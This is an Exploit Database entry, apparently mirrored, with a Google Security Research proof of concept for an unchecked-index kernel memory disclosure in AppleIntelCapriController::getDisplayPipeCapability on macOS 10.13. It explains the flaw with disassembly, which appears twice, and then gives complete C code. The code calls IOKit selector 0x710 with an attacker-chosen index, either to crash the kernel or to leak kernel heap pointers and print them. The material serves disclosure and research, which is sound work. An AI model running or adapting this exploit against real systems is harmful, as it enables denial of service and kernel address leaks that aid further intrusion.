macOS 10.13 (17A365) – Kernel Memory Disclosure due to Lack of Bounds Checking in ‘AppleIntelCapriController::getDisplayPipeCapability’

• Exploit Database
• 17 阅读

• 作者： Google Security Research
  日期： 2018-01-19
• 类别：

  • dos
  平台：

  • macos
• 来源：https://www.exploit-db.com/exploits/43780/

• /*
  AppleIntelCapriController::getDisplayPipeCapability reads an attacker-controlled dword value from a userclient structure
  input buffer which it uses to index a small array of pointers to memory to copy back to userspace.
  
  There is no bounds checking on the attacker supplied value allowing (with some heap grooming) the disclosure of arbitrary
  kernel memory:
  
  __text:000000000002ACE0 mov eax, [rbx]; structure input buffer
  __text:000000000002ACE2 mov rsi, [rdi+rax*8+0E48h]; rax is controlled -> rsi read OOB
  __text:000000000002ACEA cmp byte ptr [rsi+1DCh], 0; as long as this byte isn't NULL
  __text:000000000002ACF1 jzshort loc_2AD10
  __text:000000000002ACF3 add rsi, 1E11h; void *; add this offset
  __text:000000000002ACFA mov edx, 1D8h ; size_t
  __text:000000000002ACFF mov rdi, r14; void *
  __text:000000000002AD02 call_memcpy ; copy to structure output buffer, will be returned to userspace
  
  Tested on MacOS 10.13 (17A365) on MacBookAir5,2
  */
  
  // ianbeer
  // build: clang -o capri_display_pipe capri_display_pipe.c -framework IOKit
  
  #if 0
  MacOS kernel memory disclosure due to lack of bounds checking in AppleIntelCapriController::getDisplayPipeCapability
  
  AppleIntelCapriController::getDisplayPipeCapability reads an attacker-controlled dword value from a userclient structure
  input buffer which it uses to index a small array of pointers to memory to copy back to userspace.
  
  There is no bounds checking on the attacker supplied value allowing (with some heap grooming) the disclosure of arbitrary
  kernel memory:
  
  __text:000000000002ACE0 mov eax, [rbx]; structure input buffer
  __text:000000000002ACE2 mov rsi, [rdi+rax*8+0E48h]; rax is controlled -> rsi read OOB
  __text:000000000002ACEA cmp byte ptr [rsi+1DCh], 0; as long as this byte isn't NULL
  __text:000000000002ACF1 jzshort loc_2AD10
  __text:000000000002ACF3 add rsi, 1E11h; void *; add this offset
  __text:000000000002ACFA mov edx, 1D8h ; size_t
  __text:000000000002ACFF mov rdi, r14; void *
  __text:000000000002AD02 call_memcpy ; copy to structure output buffer, will be returned to userspace
  
  Tested on MacOS 10.13 (17A365) on MacBookAir5,2
  #endif
  
  #include <stdio.h>
  #include <stdlib.h>
  #include <string.h>
  
  #include <IOKit/IOKitLib.h>
  
  int main(int argc, char** argv){
  kern_return_t err;
  
  io_service_t service = IOServiceGetMatchingService(kIOMasterPortDefault, IOServiceMatching("IntelFBClientControl"));
  
  if (service == IO_OBJECT_NULL){
  printf("unable to find service\n");
  return 0;
  }
  
  io_connect_t conn = MACH_PORT_NULL;
  err = IOServiceOpen(service, mach_task_self(), 0, &conn);
  if (err != KERN_SUCCESS){
  printf("unable to get user client connection\n");
  return 0;
  }
  
  uint64_t inputScalar[16];
  uint64_t inputScalarCnt = 0;
  
  char inputStruct[4096];
  size_t inputStructCnt = 8;
  *(uint64_t*)inputStruct = 0x12345678; // crash
  //*(uint64_t*)inputStruct = 0x37; // disclose kernel heap memory
  
  
  uint64_t outputScalar[16];
  uint32_t outputScalarCnt = 0;
  
  char outputStruct[4096];
  size_t outputStructCnt = 4096;
  
  err = IOConnectCallMethod(
  conn,
  0x710,
  inputScalar,
  inputScalarCnt,
  inputStruct,
  inputStructCnt,
  outputScalar,
  &outputScalarCnt,
  outputStruct,
  &outputStructCnt); 
  
  if (outputStructCnt > 20) {
  int n_leaked_ptrs = (outputStructCnt-7)/8;
  uint64_t* ptrs = (uint64_t*) (outputStruct+7);
  for (int i = 0; i < n_leaked_ptrs; i++) {
  printf("%016llx\n", ptrs[i]);
  }
  }
  return 0;
  }